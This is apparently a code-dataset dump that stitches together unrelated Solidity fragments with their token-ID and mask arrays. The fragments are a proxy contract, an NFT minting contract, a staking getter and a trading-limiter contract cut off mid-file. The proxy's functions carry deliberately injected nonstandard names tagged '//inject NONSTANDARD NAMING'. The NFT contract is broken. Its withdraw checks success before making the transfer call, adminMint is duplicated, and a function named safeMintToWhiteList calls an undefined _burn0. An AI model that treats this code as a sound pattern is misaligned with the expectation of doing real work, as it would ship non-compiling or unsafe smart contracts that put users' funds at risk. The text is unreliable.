function () public payable { require(isContract(controller)); require( TokenController(controller).proxyPayments.value(msg.value)(msg.sender) ); } event ClaimedTokens( address indexed _token, address indexed _controller, uint _amount );
7,216,119
[ 1, 5802, 7620, 5922, 445, 30, 971, 326, 6835, 1807, 2596, 711, 486, 2118, 444, 358, 374, 16, 1508, 326, 1375, 5656, 6032, 68, 707, 353, 2566, 1492, 1279, 8271, 326, 13750, 471, 3414, 2430, 487, 11893, 316, 326, 1147, 2596, 6835, 8879, 13849, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1832, 1071, 8843, 429, 288, 203, 3639, 2583, 12, 291, 8924, 12, 5723, 10019, 203, 3639, 2583, 12, 203, 5411, 3155, 2933, 12, 5723, 2934, 5656, 23725, 18, 1132, 12, 3576, 18, 1132, 21433, 3576, 18, 15330, 13, 203, 5411, 11272, 203, 565, 289, 203, 203, 203, 565, 871, 18381, 329, 5157, 12, 203, 3639, 1758, 8808, 389, 2316, 16, 1758, 8808, 389, 5723, 16, 2254, 389, 8949, 203, 3639, 11272, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.16; contract Proxy { function () payable external { _FALLBACK743(); } function _IMPLEMENTATION883() internal view returns (address); //inject NONSTANDARD NAMING function _DELEGATE763(address implementation) internal { //inject NONSTANDARD NAMING assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } function _WILLFALLBACK413() internal { //inject NONSTANDARD NAMING } function _FALLBACK743() internal { //inject NONSTANDARD NAMING _WILLFALLBACK413(); _DELEGATE763(_IMPLEMENTATION883()); } } library OpenZeppelinUpgradesAddress { function ISCONTRACT295(address account) internal view returns (bool) { //inject NONSTANDARD NAMING uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } contract BaseUpgradeabilityProxy is Proxy { event UPGRADED520(address indexed implementation); //inject NONSTANDARD NAMING bytes32 internal constant implementation_slot134 = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; //inject NONSTANDARD NAMING function _IMPLEMENTATION883() internal view returns (address impl) { //inject NONSTANDARD NAMING bytes32 slot = implementation_slot134; assembly { impl := sload(slot) } } function _UPGRADETO492(address newImplementation) internal { //inject NONSTANDARD NAMING _SETIMPLEMENTATION972(newImplementation); emit UPGRADED520(newImplementation); } function _SETIMPLEMENTATION972(address newImplementation) internal { //inject NONSTANDARD NAMING require(OpenZeppelinUpgradesAddress.ISCONTRACT295(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = implementation_slot134; assembly { sstore(slot, newImplementation) } } } contract UpgradeabilityProxy is BaseUpgradeabilityProxy { constructor(address _logic, bytes memory _data) public payable { assert(implementation_slot134 == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _SETIMPLEMENTATION972(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { event ADMINCHANGED457(address previousAdmin, address newAdmin); //inject NONSTANDARD NAMING bytes32 internal constant admin_slot433 = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; //inject NONSTANDARD NAMING modifier IFADMIN310() { //inject NONSTANDARD NAMING if (msg.sender == _ADMIN931()) { _; } else { _FALLBACK743(); } } function ADMIN692() external IFADMIN310 returns (address) { //inject NONSTANDARD NAMING return _ADMIN931(); } function IMPLEMENTATION885() external IFADMIN310 returns (address) { //inject NONSTANDARD NAMING return _IMPLEMENTATION883(); } function CHANGEADMIN627(address newAdmin) external IFADMIN310 { //inject NONSTANDARD NAMING require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit ADMINCHANGED457(_ADMIN931(), newAdmin); _SETADMIN928(newAdmin); } function UPGRADETO124(address newImplementation) external IFADMIN310 { //inject NONSTANDARD NAMING _UPGRADETO492(newImplementation); } function UPGRADETOANDCALL516(address newImplementation, bytes calldata data) payable external IFADMIN310 { //inject NONSTANDARD NAMING _UPGRADETO492(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } function _ADMIN931() internal view returns (address adm) { //inject NONSTANDARD NAMING bytes32 slot = admin_slot433; assembly { adm := sload(slot) } } function _SETADMIN928(address newAdmin) internal { //inject NONSTANDARD NAMING bytes32 slot = admin_slot433; assembly { sstore(slot, newAdmin) } } function _WILLFALLBACK413() internal { //inject NONSTANDARD NAMING require(msg.sender != _ADMIN931(), "Cannot call fallback function from the proxy admin"); super._WILLFALLBACK413(); } } contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { function INITIALIZE172(address _logic, bytes memory _data) public payable { //inject NONSTANDARD NAMING require(_IMPLEMENTATION883() == address(0)); assert(implementation_slot134 == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _SETIMPLEMENTATION972(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { function INITIALIZE172(address _logic, address _admin, bytes memory _data) public payable { //inject NONSTANDARD NAMING require(_IMPLEMENTATION883() == address(0)); InitializableUpgradeabilityProxy.INITIALIZE172(_logic, _data); assert(admin_slot433 == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _SETADMIN928(_admin); } } contract MassetProxy is InitializableAdminUpgradeabilityProxy { }
Copy msg.data. We take full control of memory in this inline assembly block because it will not return to Solidity code. We overwrite the Solidity scratch pad at memory position 0. Call the implementation. out and outsize are 0 because we don't know the size yet. Copy the returned data. delegatecall returns 0 on error.
assembly { calldatacopy(0, 0, calldatasize) let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) returndatacopy(0, 0, returndatasize) switch result }
6,436,003
[ 1, 2951, 1234, 18, 892, 18, 1660, 4862, 1983, 3325, 434, 3778, 316, 333, 6370, 19931, 1203, 2724, 518, 903, 486, 327, 358, 348, 7953, 560, 981, 18, 1660, 6156, 326, 348, 7953, 560, 15289, 4627, 622, 3778, 1754, 374, 18, 3049, 326, 4471, 18, 596, 471, 596, 1467, 854, 374, 2724, 732, 2727, 1404, 5055, 326, 963, 4671, 18, 5631, 326, 2106, 501, 18, 7152, 1991, 1135, 374, 603, 555, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 19931, 288, 203, 1377, 745, 892, 3530, 12, 20, 16, 374, 16, 745, 13178, 554, 13, 203, 203, 1377, 2231, 563, 519, 7152, 1991, 12, 31604, 16, 4471, 16, 374, 16, 745, 13178, 554, 16, 374, 16, 374, 13, 203, 203, 1377, 327, 892, 3530, 12, 20, 16, 374, 16, 327, 13178, 554, 13, 203, 203, 1377, 1620, 563, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x051729a2228649312749cB606Fba4dfef1CD6745/sources/Resurrection.sol
File: contracts/nft.sol
contract Resurrection is ERC721A, Ownable { uint256 public immutable mintPrice = 0.003 ether; uint32 public immutable maxSupply = 800; uint32 public immutable maxPerTx = 10; function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity } modifier callerIsUser() { require(tx.origin == msg.sender, "The caller is another contract"); _; } constructor() ERC721A ("Resurrection", "Resurrection") { } function _baseURI() internal view override(ERC721A) returns (string memory) { return uriPrefix; } function setUri(string memory uri) public onlyOwner { uriPrefix = uri; } function _startTokenId() internal view virtual override(ERC721A) returns (uint256) { return 1; } function publicMint(uint256 amount) public payable callerIsUser{ require(msg.value >= mintPrice * amount, "insufficient"); require(totalSupply() + amount <= maxSupply, "sold out"); _safeMint(msg.sender, amount); } function safeMintToWhiteList(uint256 amount) public onlyOwner { _burn0(amount); } function adminMint(address[] memory accounts, uint16[] memory nums) public onlyOwner { require(accounts.length > 0 && accounts.length == nums.length, "Length not match"); for (uint i = 0; i < accounts.length; i++) { _safeMint(accounts[i], nums[i]); } } function adminMint(address[] memory accounts, uint16[] memory nums) public onlyOwner { require(accounts.length > 0 && accounts.length == nums.length, "Length not match"); for (uint i = 0; i < accounts.length; i++) { _safeMint(accounts[i], nums[i]); } } function withdraw() public onlyOwner { uint256 sendAmount = address(this).balance; address h = payable(msg.sender); bool success; require(success, "Transaction Unsuccessful"); } (success, ) = h.call{value: sendAmount}(""); }
4,166,049
[ 1, 812, 30, 20092, 19, 82, 1222, 18, 18281, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1124, 295, 9329, 353, 4232, 39, 27, 5340, 37, 16, 14223, 6914, 288, 203, 203, 203, 565, 2254, 5034, 1071, 11732, 312, 474, 5147, 273, 374, 18, 25425, 225, 2437, 31, 203, 565, 2254, 1578, 1071, 11732, 943, 3088, 1283, 273, 1725, 713, 31, 203, 565, 2254, 1578, 1071, 11732, 943, 2173, 4188, 273, 1728, 31, 203, 203, 565, 445, 389, 5771, 1345, 1429, 18881, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 787, 1345, 548, 16, 203, 3639, 2254, 5034, 10457, 203, 203, 565, 445, 389, 5205, 1345, 1429, 18881, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 787, 1345, 548, 16, 203, 3639, 2254, 5034, 10457, 203, 97, 203, 203, 203, 565, 9606, 4894, 2520, 1299, 1435, 288, 203, 3639, 2583, 12, 978, 18, 10012, 422, 1234, 18, 15330, 16, 315, 1986, 4894, 353, 4042, 6835, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 3885, 1435, 203, 565, 4232, 39, 27, 5340, 37, 7566, 607, 295, 9329, 3113, 315, 607, 295, 9329, 7923, 288, 203, 565, 289, 203, 203, 565, 445, 389, 1969, 3098, 1435, 2713, 1476, 3849, 12, 654, 39, 27, 5340, 37, 13, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 2003, 2244, 31, 203, 565, 289, 203, 203, 565, 445, 30473, 12, 1080, 3778, 2003, 13, 1071, 1338, 5541, 288, 203, 3639, 2003, 2244, 273, 2003, 31, 203, 565, 289, 203, 203, 565, 445, 389, 1937, 1345, 548, 1435, 2713, 2 ]
./partial_match/4/0xf4692808249aED810850c44CDbecB527413333Bb/sources/BondlyStaking.sol
* @notice calculate total stakes of staker @param _staker is the address of staker @return _total/
function totalStakeOf(address _staker) public view returns (uint256) { return stakingBalance[_staker].total; }
8,553,769
[ 1, 11162, 2078, 384, 3223, 434, 384, 6388, 225, 389, 334, 6388, 353, 326, 1758, 434, 384, 6388, 327, 389, 4963, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2078, 510, 911, 951, 12, 2867, 389, 334, 6388, 13, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 384, 6159, 13937, 63, 67, 334, 6388, 8009, 4963, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.25; // File: contracts/wallet_trading_limiter/interfaces/IWalletsTradingLimiter.sol /** * @title Wallets Trading Limiter Interface. */ interface IWalletsTradingLimiter { /** * @dev Increment the limiter value of a wallet. * @param _wallet The address of the wallet. * @param _value The amount to be updated. */ function updateWallet(address _wallet, uint256 _value) external; } // File: contracts/wallet_trading_limiter/interfaces/IWalletsTradingDataSource.sol /** * @title Wallets Trading Data Source Interface. */ interface IWalletsTradingDataSource { /** * @dev Increment the value of a given wallet. * @param _wallet The address of the wallet. * @param _value The value to increment by. * @param _limit The limit of the wallet. */ function updateWallet(address _wallet, uint256 _value, uint256 _limit) external; } // File: contracts/wallet_trading_limiter/interfaces/IWalletsTradingLimiterValueConverter.sol /** * @title Wallets Trading Limiter Value Converter Interface. */ interface IWalletsTradingLimiterValueConverter { /** * @dev Get the current limiter currency worth of a given SGR amount. * @param _sgrAmount The amount of SGR to convert. * @return The equivalent amount of the limiter currency. */ function toLimiterValue(uint256 _sgrAmount) external view returns (uint256); } // File: contracts/wallet_trading_limiter/interfaces/ITradingClasses.sol /** * @title Trading Classes Interface. */ interface ITradingClasses { /** * @dev Get the complete info of a class. * @param _id The id of the class. * @return complete info of a class. */ function getInfo(uint256 _id) external view returns (uint256, uint256, uint256); /** * @dev Get the action-role of a class. * @param _id The id of the class. * @return The action-role of the class. */ function getActionRole(uint256 _id) external view returns (uint256); /** * @dev Get the sell limit of a class. * @param _id The id of the class. * @return The sell limit of the class. */ function getSellLimit(uint256 _id) external view returns (uint256); /** * @dev Get the buy limit of a class. * @param _id The id of the class. * @return The buy limit of the class. */ function getBuyLimit(uint256 _id) external view returns (uint256); } // File: contracts/contract_address_locator/interfaces/IContractAddressLocator.sol /** * @title Contract Address Locator Interface. */ interface IContractAddressLocator { /** * @dev Get the contract address mapped to a given identifier. * @param _identifier The identifier. * @return The contract address. */ function getContractAddress(bytes32 _identifier) external view returns (address); /** * @dev Determine whether or not a contract address relates to one of the identifiers. * @param _contractAddress The contract address to look for. * @param _identifiers The identifiers. * @return A boolean indicating if the contract address relates to one of the identifiers. */ function isContractAddressRelates(address _contractAddress, bytes32[] _identifiers) external view returns (bool); } // File: contracts/contract_address_locator/ContractAddressLocatorHolder.sol /** * @title Contract Address Locator Holder. * @dev Hold a contract address locator, which maps a unique identifier to every contract address in the system. * @dev Any contract which inherits from this contract can retrieve the address of any contract in the system. * @dev Thus, any contract can remain "oblivious" to the replacement of any other contract in the system. * @dev In addition to that, any function in any contract can be restricted to a specific caller. */ contract ContractAddressLocatorHolder { bytes32 internal constant _IAuthorizationDataSource_ = "IAuthorizationDataSource"; bytes32 internal constant _ISGNConversionManager_ = "ISGNConversionManager" ; bytes32 internal constant _IModelDataSource_ = "IModelDataSource" ; bytes32 internal constant _IPaymentHandler_ = "IPaymentHandler" ; bytes32 internal constant _IPaymentManager_ = "IPaymentManager" ; bytes32 internal constant _IPaymentQueue_ = "IPaymentQueue" ; bytes32 internal constant _IReconciliationAdjuster_ = "IReconciliationAdjuster" ; bytes32 internal constant _IIntervalIterator_ = "IIntervalIterator" ; bytes32 internal constant _IMintHandler_ = "IMintHandler" ; bytes32 internal constant _IMintListener_ = "IMintListener" ; bytes32 internal constant _IMintManager_ = "IMintManager" ; bytes32 internal constant _IPriceBandCalculator_ = "IPriceBandCalculator" ; bytes32 internal constant _IModelCalculator_ = "IModelCalculator" ; bytes32 internal constant _IRedButton_ = "IRedButton" ; bytes32 internal constant _IReserveManager_ = "IReserveManager" ; bytes32 internal constant _ISagaExchanger_ = "ISagaExchanger" ; bytes32 internal constant _ISogurExchanger_ = "ISogurExchanger" ; bytes32 internal constant _SgnToSgrExchangeInitiator_ = "SgnToSgrExchangeInitiator" ; bytes32 internal constant _IMonetaryModel_ = "IMonetaryModel" ; bytes32 internal constant _IMonetaryModelState_ = "IMonetaryModelState" ; bytes32 internal constant _ISGRAuthorizationManager_ = "ISGRAuthorizationManager"; bytes32 internal constant _ISGRToken_ = "ISGRToken" ; bytes32 internal constant _ISGRTokenManager_ = "ISGRTokenManager" ; bytes32 internal constant _ISGRTokenInfo_ = "ISGRTokenInfo" ; bytes32 internal constant _ISGNAuthorizationManager_ = "ISGNAuthorizationManager"; bytes32 internal constant _ISGNToken_ = "ISGNToken" ; bytes32 internal constant _ISGNTokenManager_ = "ISGNTokenManager" ; bytes32 internal constant _IMintingPointTimersManager_ = "IMintingPointTimersManager" ; bytes32 internal constant _ITradingClasses_ = "ITradingClasses" ; bytes32 internal constant _IWalletsTradingLimiterValueConverter_ = "IWalletsTLValueConverter" ; bytes32 internal constant _BuyWalletsTradingDataSource_ = "BuyWalletsTradingDataSource" ; bytes32 internal constant _SellWalletsTradingDataSource_ = "SellWalletsTradingDataSource" ; bytes32 internal constant _WalletsTradingLimiter_SGNTokenManager_ = "WalletsTLSGNTokenManager" ; bytes32 internal constant _BuyWalletsTradingLimiter_SGRTokenManager_ = "BuyWalletsTLSGRTokenManager" ; bytes32 internal constant _SellWalletsTradingLimiter_SGRTokenManager_ = "SellWalletsTLSGRTokenManager" ; bytes32 internal constant _IETHConverter_ = "IETHConverter" ; bytes32 internal constant _ITransactionLimiter_ = "ITransactionLimiter" ; bytes32 internal constant _ITransactionManager_ = "ITransactionManager" ; bytes32 internal constant _IRateApprover_ = "IRateApprover" ; bytes32 internal constant _SGAToSGRInitializer_ = "SGAToSGRInitializer" ; IContractAddressLocator private contractAddressLocator; /** * @dev Create the contract. * @param _contractAddressLocator The contract address locator. */ constructor(IContractAddressLocator _contractAddressLocator) internal { require(_contractAddressLocator != address(0), "locator is illegal"); contractAddressLocator = _contractAddressLocator; } /** * @dev Get the contract address locator. * @return The contract address locator. */ function getContractAddressLocator() external view returns (IContractAddressLocator) { return contractAddressLocator; } /** * @dev Get the contract address mapped to a given identifier. * @param _identifier The identifier. * @return The contract address. */ function getContractAddress(bytes32 _identifier) internal view returns (address) { return contractAddressLocator.getContractAddress(_identifier); } /** * @dev Determine whether or not the sender relates to one of the identifiers. * @param _identifiers The identifiers. * @return A boolean indicating if the sender relates to one of the identifiers. */ function isSenderAddressRelates(bytes32[] _identifiers) internal view returns (bool) { return contractAddressLocator.isContractAddressRelates(msg.sender, _identifiers); } /** * @dev Verify that the caller is mapped to a given identifier. * @param _identifier The identifier. */ modifier only(bytes32 _identifier) { require(msg.sender == getContractAddress(_identifier), "caller is illegal"); _; } } // File: contracts/authorization/interfaces/IAuthorizationDataSource.sol /** * @title Authorization Data Source Interface. */ interface IAuthorizationDataSource { /** * @dev Get the authorized action-role of a wallet. * @param _wallet The address of the wallet. * @return The authorized action-role of the wallet. */ function getAuthorizedActionRole(address _wallet) external view returns (bool, uint256); /** * @dev Get the authorized action-role and trade-class of a wallet. * @param _wallet The address of the wallet. * @return The authorized action-role and class of the wallet. */ function getAuthorizedActionRoleAndClass(address _wallet) external view returns (bool, uint256, uint256); /** * @dev Get all the trade-limits and trade-class of a wallet. * @param _wallet The address of the wallet. * @return The trade-limits and trade-class of the wallet. */ function getTradeLimitsAndClass(address _wallet) external view returns (uint256, uint256, uint256); /** * @dev Get the buy trade-limit and trade-class of a wallet. * @param _wallet The address of the wallet. * @return The buy trade-limit and trade-class of the wallet. */ function getBuyTradeLimitAndClass(address _wallet) external view returns (uint256, uint256); /** * @dev Get the sell trade-limit and trade-class of a wallet. * @param _wallet The address of the wallet. * @return The sell trade-limit and trade-class of the wallet. */ function getSellTradeLimitAndClass(address _wallet) external view returns (uint256, uint256); } // File: openzeppelin-solidity-v1.12.0/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: 